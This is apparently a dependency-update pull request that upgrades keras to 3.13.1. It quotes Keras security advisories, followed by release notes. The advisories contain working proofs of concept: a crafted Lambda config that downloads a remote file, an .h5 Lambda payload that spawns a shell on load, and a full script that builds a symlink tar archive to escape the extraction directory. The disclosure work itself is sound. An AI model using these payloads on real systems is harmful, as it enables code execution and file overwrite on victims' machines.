Skip to content

Conversation

@renovate-bot
Copy link
Contributor

@renovate-bot renovate-bot commented Aug 12, 2025

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
keras ==3.9.0==3.13.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-8747

Summary

It is possible to bypass the mitigation introduced in response to CVE-2025-1550, when an untrusted Keras v3 model is loaded, even when “safe_mode” is enabled, by crafting malicious arguments to built-in Keras modules.

The vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded).

Impact

Type Vector Impact
Unsafe deserialization Client-Side (when loading untrusted model) Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.

Details

Keras’ safe_mode flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “lambda” class name.
https://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization_lib.py#L641 -

if config["class_name"] == "__lambda__":
        if safe_mode:
            raise ValueError(
                "Requested the deserialization of a `lambda` object. "
                "This carries a potential risk of arbitrary code execution "
                "and thus it is disallowed by default. If you trust the "
                "source of the saved model, you can pass `safe_mode=False` to "
                "the loading function in order to allow `lambda` loading, "
                "or call `keras.config.enable_unsafe_deserialization()`."
            )

A fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit bb340d6780fdd6e115f2f4f78d8dbe374971c930.

package = module.split(".", maxsplit=1)[0]
if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:

However, it is still possible to exploit model loading, for example by reusing the internal Keras function keras.utils.get_file, and download remote files to an attacker-controlled location.
This allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious authorized_keys file into the user’s SSH folder, giving the attacker full SSH access to the victim’s machine.
Since the model does not contain arbitrary Python code, this scenario will not be blocked by “safe_mode”. It will bypass the latest fix since it uses a function from one of the approved modules (keras).

Example

The following truncated config.json will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js to the local /tmp folder, by sending arbitrary arguments to Keras’ builtin function keras.utils.get_file() -

           {
                "class_name": "Lambda",
                "config": {
                    "arguments": {
                        "origin": "https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js",
                        "cache_dir":"/tmp",
                        "cache_subdir":"",
                        "force_download": true},
                    "function": {
                        "class_name": "function",
                        "config": "get_file",
                        "module": "keras.utils"
                    }
                },

PoC

  1. Download malicious_model_download.keras to a local directory

  2. Load the model -

from keras.models import load_model
model = load_model("malicious_model_download.keras", safe_mode=True)
  1. Observe that a new file index.js was created in the /tmp directory

Fix suggestions

  1. Add an additional flag block_all_lambda that allows users to completely disallow loading models with a Lambda layer.
  2. Audit the keras, keras_hub, keras_cv, keras_nlp modules and remove/block all “gadget functions” which could be used by malicious ML models.
  3. Add an additional flag lambda_whitelist_functions that allows users to specify a list of functions that are allowed to be invoked by a Lambda layer

Credit

The vulnerability was discovered by Andrey Polkovnichenko of the JFrog Vulnerability Research

CVE-2025-9906

Arbitrary Code Execution in Keras

Keras versions prior to 3.11.0 allow for arbitrary code execution when loading a crafted .keras model archive, even when safe_mode=True.

The issue arises because the archive’s config.json is parsed before layer deserialization. This can invoke keras.config.enable_unsafe_deserialization(), effectively disabling safe mode from within the loading process itself. An attacker can place this call first in the archive and then include a Lambda layer whose function is deserialized from a pickle, leading to the execution of attacker-controlled Python code as soon as a victim loads the model file.

Exploitation requires a user to open an untrusted model; no additional privileges are needed. The fix in version 3.11.0 enforces safe-mode semantics before reading any user-controlled configuration and prevents the toggling of unsafe deserialization via the config file.

Affected versions: < 3.11.0
Patched version: 3.11.0

It is recommended to upgrade to version 3.11.0 or later and to avoid opening untrusted model files.

CVE-2025-9905

Note: This report has already been discussed with the Google OSS VRP team, who recommended that I reach out directly to the Keras team. I’ve chosen to do so privately rather than opening a public issue, due to the potential security implications. I also attempted to use the email address listed in your SECURITY.md, but received no response.


Summary

When a model in the .h5 (or .hdf5) format is loaded using the Keras Model.load_model method, the safe_mode=True setting is silently ignored without any warning or error. This allows an attacker to execute arbitrary code on the victim’s machine with the same privileges as the Keras application. This report is specific to the .h5/.hdf5 file format. The attack works regardless of the other parameters passed to load_model and does not require any sophisticated technique—.h5 and .hdf5 files are simply not checked for unsafe code execution.

From this point on, I will refer only to the .h5 file format, though everything equally applies to .hdf5.

Details

Intended behaviour

According to the official Keras documentation, safe_mode is defined as:

safe_mode: Boolean, whether to disallow unsafe lambda deserialization. When safe_mode=False, loading an object has the potential to trigger arbitrary code execution. This argument is only applicable to the Keras v3 model format. Defaults to True.

I understand that the behavior described in this report is somehow intentional, as safe_mode is only applicable to .keras models.

However, in practice, this behavior is misleading for users who are unaware of the internal Keras implementation. .h5 files can still be loaded seamlessly using load_model with safe_mode=True, and the absence of any warning or error creates a false sense of security. Whether intended or not, I believe silently ignoring a security-related parameter is not the best possible design decision. At a minimum, if safe_mode cannot be applied to a given file format, an explicit error should be raised to alert the user.

This issue is particularly critical given the widespread use of the .h5 format, despite the introduction of newer formats.

As a small anecdotal test, I asked several of my colleagues what they would expect when loading a .h5 file with safe_mode=True. None of them expected the setting to be silently ignored, even after reading the documentation. While this is a small sample, all of these colleagues are cybersecurity researchers—experts in binary or ML security—and regular participants in DEF CON finals. I was careful not to give any hints about the vulnerability in our discussion.

Technical Details

Examining the implementation of load_model in keras/src/saving/saving_api.py, we can see that the safe_mode parameter is completely ignored when loading .h5 files. Here's the relevant snippet:

def load_model(filepath, custom_objects=None, compile=True, safe_mode=True):
    is_keras_zip = ...
    is_keras_dir = ...
    is_hf = ...

    # Support for remote zip files
    if (
        file_utils.is_remote_path(filepath)
        and not file_utils.isdir(filepath)
        and not is_keras_zip
        and not is_hf
    ):
        ...

    if is_keras_zip or is_keras_dir or is_hf:
        ...

    if str(filepath).endswith((".h5", ".hdf5")):
        return legacy_h5_format.load_model_from_hdf5(
            filepath, custom_objects=custom_objects, compile=compile
        )

As shown, when the file format is .h5 or .hdf5, the method delegates to legacy_h5_format.load_model_from_hdf5, which does not use or check the safe_mode parameter at all.

Solution

Since the release of the new .keras format, I believe the simplest and most effective way to address this misleading behavior—and to improve security in Keras—is to have the safe_mode parameter raise an explicit error when safe_mode=True is used with .h5/.hdf5 files. This error should be clear and informative, explaining that the legacy format does not support safe_mode and outlining the associated risks of loading such files.

I recognize this fix may have minor backward compatibility considerations.

If you confirm that you're open to this approach, I’d be happy to open a PR that includes the missing check.

PoC

From the attacker’s perspective, creating a malicious .h5 model is as simple as the following:

import keras

f = lambda x: (
    exec("import os; os.system('sh')"),
    x,
)

model = keras.Sequential()
model.add(keras.layers.Input(shape=(1,)))
model.add(keras.layers.Lambda(f))
model.compile()

keras.saving.save_model(model, "./provola.h5")

From the victim’s side, triggering code execution is just as simple:

import keras

model = keras.models.load_model("./provola.h5", safe_mode=True)

That’s all. The exploit occurs during model loading, with no further interaction required. The parameters passed to the method do not mitigate of influence the attack in any way.

As expected, the attacker can substitute the exec(...) call with any payload. Whatever command is used will execute with the same permissions as the Keras application.

Attack scenario

The attacker may distribute a malicious .h5/.hdf5 model on platforms such as Hugging Face, or act as a malicious node in a federated learning environment. The victim only needs to load the model—even with safe_mode=True that would give the illusion of security. No inference or further action is required, making the threat particularly stealthy and dangerous.

Once the model is loaded, the attacker gains the ability to execute arbitrary code on the victim’s machine with the same privileges as the Keras process. The provided proof-of-concept demonstrates a simple shell spawn, but any payload could be delivered this way.

CVE-2025-12058

The Keras.Model.load_model method, including when executed with the intended security mitigation safe_mode=True, is vulnerable to arbitrary local file loading and Server-Side Request Forgery (SSRF).

This vulnerability stems from the way the StringLookup layer is handled during model loading from a specially crafted .keras archive. The constructor for the StringLookup layer accepts a vocabulary argument that can specify a local file path or a remote file path.

  • Arbitrary Local File Read: An attacker can create a malicious .keras file that embeds a local path in the StringLookup layer's configuration. When the model is loaded, Keras will attempt to read the content of the specified local file and incorporate it into the model state (e.g., retrievable via get_vocabulary()), allowing an attacker to read arbitrary local files on the hosting system.

  • Server-Side Request Forgery (SSRF): Keras utilizes tf.io.gfile for file operations. Since tf.io.gfile supports remote filesystem handlers (such as GCS and HDFS) and HTTP/HTTPS protocols, the same mechanism can be leveraged to fetch content from arbitrary network endpoints on the server's behalf, resulting in an SSRF condition.

The security issue is that the feature allowing external path loading was not properly restricted by the safe_mode=True flag, which was intended to prevent such unintended data access.

CVE-2025-12060

Summary

Keras's keras.utils.get_file() function is vulnerable to directory traversal attacks despite implementing filter_safe_paths(). The vulnerability exists because extract_archive() uses Python's tarfile.extractall() method without the security-critical filter="data" parameter. A PATH_MAX symlink resolution bug occurs before path filtering, allowing malicious tar archives to bypass security checks and write files outside the intended extraction directory.

Details

Root Cause Analysis

Current Keras Implementation

# From keras/src/utils/file_utils.py#L121
if zipfile.is_zipfile(file_path):
    # Zip archive.
    archive.extractall(path)
else:
    # Tar archive, perhaps unsafe. Filter paths.
    archive.extractall(path, members=filter_safe_paths(archive))

The Critical Flaw

While Keras attempts to filter unsafe paths using filter_safe_paths(), this filtering happens after the tar archive members are parsed and before actual extraction. However, the PATH_MAX symlink resolution bug occurs during extraction, not during member enumeration.

Exploitation Flow:

  1. Archive parsing: filter_safe_paths() sees symlink paths that appear safe
  2. Extraction begins: extractall() processes the filtered members
  3. PATH_MAX bug triggers: Symlink resolution fails due to path length limits
  4. Security bypass: Failed resolution causes literal path interpretation
  5. Directory traversal: Files written outside intended directory

Technical Details

The vulnerability exploits a known issue in Python's tarfile module where excessively long symlink paths can cause resolution failures, leading to the symlink being treated as a literal path. This bypasses Keras's path filtering because:

  • filter_safe_paths() operates on the parsed tar member information
  • The PATH_MAX bug occurs during actual file system operations in extractall()
  • Failed symlink resolution falls back to literal path interpretation
  • This allows traversal paths like ../../../../etc/passwd to be written

Affected Code Location

File: keras/src/utils/file_utils.py
Function: extract_archive() around line 121
Issue: Missing filter="data" parameter in tarfile.extractall()

Proof of Concept


#!/usr/bin/env python3
import os, io, sys, tarfile, pathlib, platform, threading, time
import http.server, socketserver

# Import Keras directly (not through TensorFlow)
try:
    import keras
    print("Using standalone Keras:", keras.__version__)
    get_file = keras.utils.get_file
except ImportError:
    try:
        import tensorflow as tf
        print("Using Keras via TensorFlow:", tf.keras.__version__)
        get_file = tf.keras.utils.get_file
    except ImportError:
        print("Neither Keras nor TensorFlow found!")
        sys.exit(1)

print("=" * 60)
print("Keras get_file() PATH_MAX Symlink Vulnerability PoC")
print("=" * 60)
print("Python:", sys.version.split()[0])
print("Platform:", platform.platform())

root = pathlib.Path.cwd()
print(f"Working directory: {root}")

# Create target directory for exploit demonstration
exploit_dir = root / "exploit"
exploit_dir.mkdir(exist_ok=True)

# Clean up any previous exploit files
try:
    (exploit_dir / "keras_pwned.txt").unlink()
except FileNotFoundError:
    pass

print(f"\n=== INITIAL STATE ===")
print(f"Exploit directory: {exploit_dir}")
print(f"Files in exploit/: {[f.name for f in exploit_dir.iterdir()]}")

# Create malicious tar with PATH_MAX symlink resolution bug
print(f"\n=== Building PATH_MAX Symlink Exploit ===")

# Parameters for PATH_MAX exploitation
comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop"  # 16-step symlink chain
path = ""

with tarfile.open("keras_dataset.tgz", mode="w:gz") as tar:
    print("Creating deep symlink chain...")
    
    # Build the symlink chain that will exceed PATH_MAX during resolution
    for i, step in enumerate(steps):
        # Directory with long name
        dir_info = tarfile.TarInfo(os.path.join(path, comp))
        dir_info.type = tarfile.DIRTYPE
        tar.addfile(dir_info)
        
        # Symlink pointing to that directory
        link_info = tarfile.TarInfo(os.path.join(path, step))
        link_info.type = tarfile.SYMTYPE
        link_info.linkname = comp
        tar.addfile(link_info)
        
        path = os.path.join(path, comp)
        
        if i < 3 or i % 4 == 0:  # Print progress for first few and every 4th
            print(f"  Step {i+1}: {step} -> {comp[:20]}...")
    
    # Create the final symlink that exceeds PATH_MAX
    # This is where the symlink resolution breaks down
    long_name = "x" * 254
    linkpath = os.path.join("/".join(steps), long_name)
    
    max_link = tarfile.TarInfo(linkpath)
    max_link.type = tarfile.SYMTYPE
    max_link.linkname = ("../" * len(steps))
    tar.addfile(max_link)
    
    print(f"✓ Created PATH_MAX symlink: {len(linkpath)} characters")
    print(f"  Points to: {'../' * len(steps)}")
    
    # Exploit file through the broken symlink resolution
    exploit_path = linkpath + "/../../../exploit/keras_pwned.txt"
    exploit_content = b"KERAS VULNERABILITY CONFIRMED!\nThis file was created outside the cache directory!\nKeras get_file() is vulnerable to PATH_MAX symlink attacks!\n"
    
    exploit_file = tarfile.TarInfo(exploit_path)
    exploit_file.type = tarfile.REGTYPE
    exploit_file.size = len(exploit_content)
    tar.addfile(exploit_file, fileobj=io.BytesIO(exploit_content))
    
    print(f"✓ Added exploit file via broken symlink path")
    
    # Add legitimate dataset content
    dataset_content = b"# Keras Dataset Sample\nThis appears to be a legitimate ML dataset\nimage1.jpg,cat\nimage2.jpg,dog\nimage3.jpg,bird\n"
    dataset_file = tarfile.TarInfo("dataset/labels.csv")
    dataset_file.type = tarfile.REGTYPE
    dataset_file.size = len(dataset_content)
    tar.addfile(dataset_file, fileobj=io.BytesIO(dataset_content))
    
    # Dataset directory
    dataset_dir = tarfile.TarInfo("dataset/")
    dataset_dir.type = tarfile.DIRTYPE
    tar.addfile(dataset_dir)

print("✓ Malicious Keras dataset created")

# Comparison Test: Python tarfile with filter (SAFE)
print(f"\n=== COMPARISON: Python tarfile with data filter ===")
try:
    with tarfile.open("keras_dataset.tgz", "r:gz") as tar:
        tar.extractall("python_safe", filter="data")
    
    files_after = [f.name for f in exploit_dir.iterdir()]
    print(f"✓ Python safe extraction completed")
    print(f"Files in exploit/: {files_after}")
    
    # Cleanup
    import shutil
    if pathlib.Path("python_safe").exists():
        shutil.rmtree("python_safe", ignore_errors=True)
        
except Exception as e:
    print(f"❌ Python safe extraction blocked: {str(e)[:80]}...")
    files_after = [f.name for f in exploit_dir.iterdir()]
    print(f"Files in exploit/: {files_after}")

# Start HTTP server to serve malicious archive
class SilentServer(http.server.SimpleHTTPRequestHandler):
    def log_message(self, *args): pass

def run_server():
    with socketserver.TCPServer(("127.0.0.1", 8005), SilentServer) as httpd:
        httpd.allow_reuse_address = True
        httpd.serve_forever()

server = threading.Thread(target=run_server, daemon=True)
server.start()
time.sleep(0.3)

# Keras vulnerability test
cache_dir = root / "keras_cache"
cache_dir.mkdir(exist_ok=True)
url = "http://127.0.0.1:8005/keras_dataset.tgz"

print(f"\n=== KERAS VULNERABILITY TEST ===")
print(f"Testing: keras.utils.get_file() with extract=True")
print(f"URL: {url}")
print(f"Cache: {cache_dir}")
print(f"Expected extraction: keras_cache/datasets/keras_dataset/")
print(f"Exploit target: exploit/keras_pwned.txt")

try:
    # The vulnerable Keras call
    extracted_path = get_file(
        "keras_dataset",
        url,
        cache_dir=str(cache_dir),
        extract=True
    )
    print(f"✓ Keras extraction completed")
    print(f"✓ Returned path: {extracted_path}")
    
except Exception as e:
    print(f"❌ Keras extraction failed: {e}")
    import traceback
    traceback.print_exc()

# Vulnerability assessment
print(f"\n=== VULNERABILITY RESULTS ===")
final_exploit_files = [f.name for f in exploit_dir.iterdir()]
print(f"Files in exploit directory: {final_exploit_files}")

if "keras_pwned.txt" in final_exploit_files:
    print(f"\n🚨 KERAS VULNERABILITY CONFIRMED! 🚨")
    
    exploit_file = exploit_dir / "keras_pwned.txt"
    content = exploit_file.read_text()
    print(f"Exploit file created: {exploit_file}")
    print(f"Content:\n{content}")
    
    print(f"🔍 TECHNICAL DETAILS:")
    print(f"   • Keras uses tarfile.extractall() without filter parameter")
    print(f"   • PATH_MAX symlink resolution bug bypassed security checks")
    print(f"   • File created outside intended cache directory")
    print(f"   • Same vulnerability pattern as TensorFlow get_file()")
    
    print(f"\n📊 COMPARISON RESULTS:")
    print(f"   ✅ Python with filter='data': BLOCKED exploit")
    print(f"   ⚠️  Keras get_file(): ALLOWED exploit")
    
else:
    print(f"✅ No exploit files detected")
    print(f"Possible reasons:")
    print(f"   • Keras version includes security patches")
    print(f"   • Platform-specific path handling prevented exploit")
    print(f"   • Archive extraction path differed from expected")

# Show what Keras actually extracted (safely)
print(f"\n=== KERAS EXTRACTION ANALYSIS ===")
try:
    if 'extracted_path' in locals() and pathlib.Path(extracted_path).exists():
        keras_path = pathlib.Path(extracted_path)
        print(f"Keras extracted to: {keras_path}")
        
        # Safely list contents
        try:
            contents = [item.name for item in keras_path.iterdir()]
            print(f"Top-level contents: {contents}")
            
            # Count symlinks (indicates our exploit structure was created)
            symlink_count = 0
            for item in keras_path.iterdir():
                try:
                    if item.is_symlink():
                        symlink_count += 1
                except PermissionError:
                    continue
            
            print(f"Symlinks created: {symlink_count}")
            if symlink_count > 0:
                print(f"✓ PATH_MAX symlink chain was extracted")
                
        except PermissionError:
            print(f"Permission errors in extraction directory (expected with symlink corruption)")
            
except Exception as e:
    print(f"Could not analyze Keras extraction: {e}")

print(f"\n=== REMEDIATION ===")
print(f"To fix this vulnerability, Keras should use:")
print(f"```python")
print(f"tarfile.extractall(path, filter='data')  # Safe")
print(f"```")
print(f"Instead of:")
print(f"```python") 
print(f"tarfile.extractall(path)  # Vulnerable")
print(f"```")

# Cleanup
print(f"\n=== CLEANUP ===")
try:
    os.unlink("keras_dataset.tgz")
    print(f"✓ Removed malicious tar file")
except:
    pass

print("PoC completed!")

Environment Setup

  • Python: 3.8+ (tested on multiple versions)
  • Keras: Standalone Keras or TensorFlow.Keras
  • Platform: Linux, macOS, Windows (path handling varies)

Exploitation Steps

  1. Create malicious tar archive with PATH_MAX symlink chain
  2. Host archive on accessible HTTP server
  3. Call keras.utils.get_file() with extract=True
  4. Observe directory traversal - files written outside cache directory

Key Exploit Components

  • Deep symlink chain: 16+ nested symlinks with long directory names
  • PATH_MAX overflow: Final symlink path exceeding system limits
  • Traversal payload: Relative path traversal (../../../target/file)
  • Legitimate disguise: Archive contains valid-looking dataset files

Demonstration Results

Vulnerable behavior:

  • Files extracted outside intended cache_dir/datasets/ location
  • Security filtering bypassed completely
  • No error or warning messages generated

Expected secure behavior:

  • Extraction blocked or confined to cache directory
  • Security warnings for suspicious archive contents

Impact

Vulnerability Classification

  • Type: Directory Traversal / Path Traversal (CWE-22)
  • Severity: High
  • CVSS Components: Network accessible, no authentication required, impacts confidentiality and integrity

Who Is Impacted

Direct Impact:

  • Applications using keras.utils.get_file() with extract=True
  • Machine learning pipelines downloading and extracting datasets
  • Automated ML training systems processing external archives

Attack Scenarios:

  1. Malicious datasets: Attacker hosts compromised ML dataset
  2. Supply chain: Legitimate dataset repositories compromised
  3. Model poisoning: Extraction writes malicious files alongside training data
  4. System compromise: Configuration files, executables written to system directories

Affected Environments:

  • Research environments downloading public datasets
  • Production ML systems with automated dataset fetching
  • Educational platforms using Keras for tutorials
  • CI/CD pipelines training models with external data

Risk Assessment

High Risk Factors:

  • Common usage pattern in ML workflows
  • No user awareness of extraction security
  • Silent failure mode (no warnings)
  • Cross-platform vulnerability

Potential Consequences:

  • Arbitrary file write on target system
  • Configuration file tampering
  • Code injection via overwritten scripts
  • Data exfiltration through planted files
  • System compromise in containerized environments

Recommended Fix

Immediate Mitigation

Replace the vulnerable extraction code with:

# Secure implementation
if zipfile.is_zipfile(file_path):
    # Zip archive - implement similar filtering
    archive.extractall(path, members=filter_safe_paths(archive))
else:
    # Tar archive with proper security filter
    archive.extractall(path, members=filter_safe_paths(archive), filter="data")

Long-term Solution

  1. Add filter="data" parameter to all tarfile.extractall() calls
  2. Implement comprehensive path validation before extraction
  3. Add extraction logging for security monitoring
  4. Consider sandboxed extraction for untrusted archives
  5. Update documentation to warn about archive security risks

Backward Compatibility

The fix maintains full backward compatibility as filter="data" is the recommended secure default for Python 3.12+.

References

Note: Reported in Huntr as well, but didn't get response
https://huntr.com/bounties/f94f5beb-54d8-4e6a-8bac-86d9aee103f4

CVE-2026-0897

Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.


Release Notes

keras-team/keras (keras)

v3.13.1

Compare Source

Bug Fixes & Improvements
  • General
    • Removed a persistent warning triggered during import keras when using NumPy 2.0 or higher. (#​21949)
  • Backends
    • JAX: Fixed an issue where CUDNN flash attention was broken when using JAX versions greater than 0.6.2. (#​21970)
  • Export & Serialization
    • Resolved a regression in the export pipeline that incorrectly forced batch sizes to be dynamic. The export process now correctly respects static batch sizes when defined. (#​21944)

Full Changelog: keras-team/keras@v3.13.0...v3.13.1

v3.13.0

Compare Source

BREAKING changes

Starting with version 3.13.0, Keras now requires Python 3.11 or higher. Please ensure your environment is updated to Python 3.11+ to install the latest version.

Highlights

LiteRT Export

You can now export Keras models directly to the LiteRT format (formerly TensorFlow Lite) for on-device inference.
This changes comes with improvements to input signature handling and export utility documentation. The changes ensure that LiteRT export is only available when TensorFlow is installed, update the export API and documentation, and enhance input signature inference for various model types.

Example:

import keras
import numpy as np

# 1. Define a simple model
model = keras.Sequential([
    keras.layers.Input(shape=(10,)),
    keras.layers.Dense(10, activation="relu"),
    keras.layers.Dense(1, activation="sigmoid")
])

# 2. Compile and train (optional, but recommended before export)
model.compile(optimizer="adam", loss="binary_crossentropy")
model.fit(np.random.rand(100, 10), np.random.randint(0, 2, 100), epochs=1)

# 3. Export the model to LiteRT format
model.export("my_model.tflite", format="litert")

print("Model exported successfully to 'my_model.tflite' using LiteRT format.")
GPTQ Quantization
  • Introduced keras.quantizers.QuantizationConfig API that allows for customizable weight and activation quantizers, providing greater flexibility in defining quantization schemes.

  • Introduced a new filters argument to the Model.quantize method, allowing users to specify which layers should be quantized using regex strings, lists of regex strings, or a callable function. This provides fine-grained control over the quantization process.

  • Refactored the GPTQ quantization process to remove heuristic-based model structure detection. Instead, the model's quantization structure can now be explicitly provided via GPTQConfig or by overriding a new Model.get_quantization_layer_structure method, enhancing flexibility and robustness for diverse model architectures.

  • Core layers such as Dense, EinsumDense, Embedding, and ReversibleEmbedding have been updated to accept and utilize the new QuantizationConfig object, enabling fine-grained control over their quantization behavior.

  • Added a new method get_quantization_layer_structure to the Model class, intended for model authors to define the topology required for structure-aware quantization modes like GPTQ.

  • Introduced a new utility function should_quantize_layer to centralize the logic for determining if a layer should be quantized based on the provided filters.

  • Enabled the serialization and deserialization of QuantizationConfig objects within Keras layers, allowing quantized models to be saved and loaded correctly.

  • Modified the AbsMaxQuantizer to allow specifying the quantization axis dynamically during the __call__ method, rather than strictly defining it at initialization.

Example:

  1. Default Quantization (Int8)
    Applies the default AbsMaxQuantizer to both weights and activations.
model.quantize("int8")
  1. Weight-Only Quantization (Int8)
    Disable activation quantization by setting the activation quantizer to None.
from keras.quantizers import Int8QuantizationConfig, AbsMaxQuantizer

config = Int8QuantizationConfig(
    weight_quantizer=AbsMaxQuantizer(axis=0),
    activation_quantizer=None 
)

model.quantize(config=config)
  1. Custom Quantization Parameters
    Customize the value range or other parameters for specific quantizers.
config = Int8QuantizationConfig(
    # Restrict range for symmetric quantization
    weight_quantizer=AbsMaxQuantizer(axis=0, value_range=(-127, 127)),
    activation_quantizer=AbsMaxQuantizer(axis=-1, value_range=(-127, 127))
)

model.quantize(config=config)
Adaptive Pooling layers

Added adaptive pooling operations keras.ops.nn.adaptive_average_pool and keras.ops.nn.adaptive_max_pool for 1D, 2D, and 3D inputs. These operations transform inputs of varying spatial dimensions into a fixed target shape defined by output_size by dynamically inferring the required kernel size and stride. Added corresponding layers:

  • keras.layers.AdaptiveAveragePooling1D
  • keras.layers.AdaptiveAveragePooling2D
  • keras.layers.AdaptiveAveragePooling3D
  • keras.layers.AdaptiveMaxPooling1D
  • keras.layers.AdaptiveMaxPooling2D
  • keras.layers.AdaptiveMaxPooling3D

New features

  • Add keras.ops.numpy.array_splitop a fundamental building block for tensor parallelism.
  • Add keras.ops.numpy.empty_like op.
  • Add keras.ops.numpy.ldexp op.
  • Add keras.ops.numpy.vander op which constructs a Vandermonde matrix from a 1-D input tensor.
  • Add keras.distribution.get_device_count utility function for distribution API.
  • keras.layers.JaxLayer and keras.layers.FlaxLayer now support the TensorFlow backend in addition to the JAX backed. This allows you to embed flax.linen.Module instances or JAX functions in your model. The TensorFlow support is based on jax2tf.

OpenVINO Backend Support:

  • Added numpy.digitize support.
  • Added numpy.diag support.
  • Added numpy.isin support.
  • Added numpy.vdot support.
  • Added numpy.floor_divide support.
  • Added numpy.roll support.
  • Added numpy.multi_hot support.
  • Added numpy.psnr support.
  • Added numpy.empty_like support.

Bug fixes and Improvements

  • NNX Support: Improved compatibility and fixed tests for the NNX library (JAX), ensuring better stability for NNX-based Keras models.
  • MultiHeadAttention: Fixed negative index handling in attention_axes for MultiHeadAttention layers.
  • Softmax: The update on Softmax mask handling, aimed at improving numerical robustness, was based on a deep investigation led by Jaswanth Sreeram, who prototyped the solution with contributions from others.
  • PyDataset Support: The Normalization layer's adapt method now supports PyDataset objects, allowing for proper adaptation when using this data type.

TPU Test setup

Configured the TPU testing infrastructure to enforce unit test coverage across the entire codebase. This ensures that both existing logic and all future contributions are validated for functionality and correctness within the TPU environment.

New Contributors

Full Changelog: keras-team/keras@v3.12.0...v3.13.0

v3.12.0: Keras 3.12.0

Compare Source

Highlights

Keras has a new model distillation API!

You now have access to an easy-to-use API for distilling large models into small models while minimizing performance drop on a reference dataset -- compatible with all existing Keras models. You can specify a range of different distillation losses, or create your own losses. The API supports multiple concurrent distillation losses at the same time.

Example:

# Load a model to distill
teacher = ...

# This is the model we want to distill it into
student = ...

# Configure the process
distiller = Distiller(
    teacher=teacher,
    student=student,
    distillation_losses=LogitsDistillation(temperature=3.0),
)
distiller.compile(
    optimizer='adam',
    loss='sparse_categorical_crossentropy',
    metrics=['accuracy']
)

# Train the distilled model
distiller.fit(x_train, y_train, epochs=10)
Keras supports GPTQ quantization!

GPTQ is now built into the Keras API. GPTQ is a post-training, weights-only quantization method that compresses a model to int4 layer by layer. For each layer, it uses a second-order method to update weights while minimizing the error on a calibration dataset.

Learn how to use it in this guide.

Example:

model = keras_hub.models.Gemma3CausalLM.from_preset("gemma3_1b")
gptq_config = keras.quantizers.GPTQConfig(
    dataset=calibration_dataset,
    tokenizer=model.preprocessor.tokenizer,
    weight_bits=4,
    group_size=128,
    num_samples=256,
    sequence_length=256,
    hessian_damping=0.01,
    symmetric=False,
    activation_order=False,
)
model.quantize("gptq", config=gptq_config)
outputs = model.generate(prompt, max_length=30)
Better support for Grain datasets!
  • Add Grain support to keras.utils.image_dataset_from_directory and keras.utils.text_dataset_from_directory. Specify format="grain" to return a Grain dataset instead of a TF dataset.
  • Make almost all Keras preprocessing layers compatible with Grain datasets.

New features

  • Add keras.layers.ReversibleEmbedding layer: an embedding layer that can also also project backwards to the input space. Use it with the reverse argument in call().
  • Add argument opset_version in model.export(). Argument specific to format="onnx"; specifies the ONNX opset version.
  • Add keras.ops.isin op.
  • Add keras.ops.isneginf, keras.ops.isposinf ops.
  • Add keras.ops.isreal op.
  • Add keras.ops.cholesky_inverse op and add upper argument in keras.ops.cholesky.
  • Add keras.ops.image.scale_and_translate op.
  • Add keras.ops.hypot op.
  • Add keras.ops.gcd op.
  • Add keras.ops.kron op.
  • Add keras.ops.logaddexp2 op.
  • Add keras.ops.view op.
  • Add keras.ops.unfold op.
  • Add keras.ops.jvp op.
  • Add keras.ops.trapezoid op.
  • Add support for over 20 news ops with the OpenVINO backend.

Breaking changes

  • Layers StringLookup & IntegerLookup now save vocabulary loaded from file. Previously, when instantiating these layers from a vocabulary filepath, only the filepath would be saved when saving the layer. Now, the entire vocabulary is materialized and saved as part of the .keras archive.

Security fixes

New Contributors

Full Changelog: keras-team/keras@v3.11.0...v3.12.0

v3.11.3: Keras 3.11.3

Compare Source

What's Changed

Full Changelog: keras-team/keras@v3.11.2...v3.11.3

v3.11.2: Keras 3.11.2

Compare Source

What's Changed

New Contributors

Full Changelog: keras-team/keras@v3.11.1...v3.11.2

v3.11.1: Keras 3.11.1

Compare Source

What's Changed

Full Changelog: keras-team/keras@v3.11.0...v3.11.1

v3.11.0: Keras 3.11.0

Compare Source

What's Changed

  • Add int4 quantization support.
  • Support Grain data loaders in fit()/evaluate()/predict().
  • Add keras.ops.kaiser function.
  • Add keras.ops.hanning function.
  • Add keras.ops.cbrt function.
  • Add keras.ops.deg2rad function.
  • Add keras.ops.layer_normalization function to leverage backend-specific performance optimizations.
  • Various bug fixes and performance optimizations.

Backend-specific changes

JAX backend
  • Support NNX library. It is now possible to use Keras layers and models as NNX modules.
  • Support shape -1 for slice op.
TensorFlow backend
  • Add support for multiple dynamic dimensions in Flatten layer.
OpenVINO backend
  • Add support for over 30 new backend ops.

New Contributors

Full Changelog: keras-team/keras@v3.10.0...v3.11.0

v3.10.0: Keras 3.10.0

Compare Source

New features

  • Add support for weight sharding for saving very large models with model.save(). It is controlled via the max_shard_size argument. Specifying this argument will split your Keras model weight file into chunks of this size at most. Use load_model() to reload the sharded files.
  • Add optimizer keras.optimizers.Muon
  • Add image preprocessing layer keras.layers.RandomElasticTransform
  • Add loss function keras.losses.CategoricalGeneralizedCrossEntropy (with functional version keras.losses.categorical_generalized_cross_entropy)
  • Add axis argument to SparseCategoricalCrossentropy
  • Add lora_alpha to all LoRA-enabled layers. If set, this parameter scales the low-rank adaptation delta during the forward pass.
  • Add activation function keras.activations.sparse_sigmoid
  • Add op keras.ops.image.elastic_transform
  • Add op keras.ops.angle
  • Add op keras.ops.bartlett
  • Add op keras.ops.blackman
  • Add op keras.ops.hamming
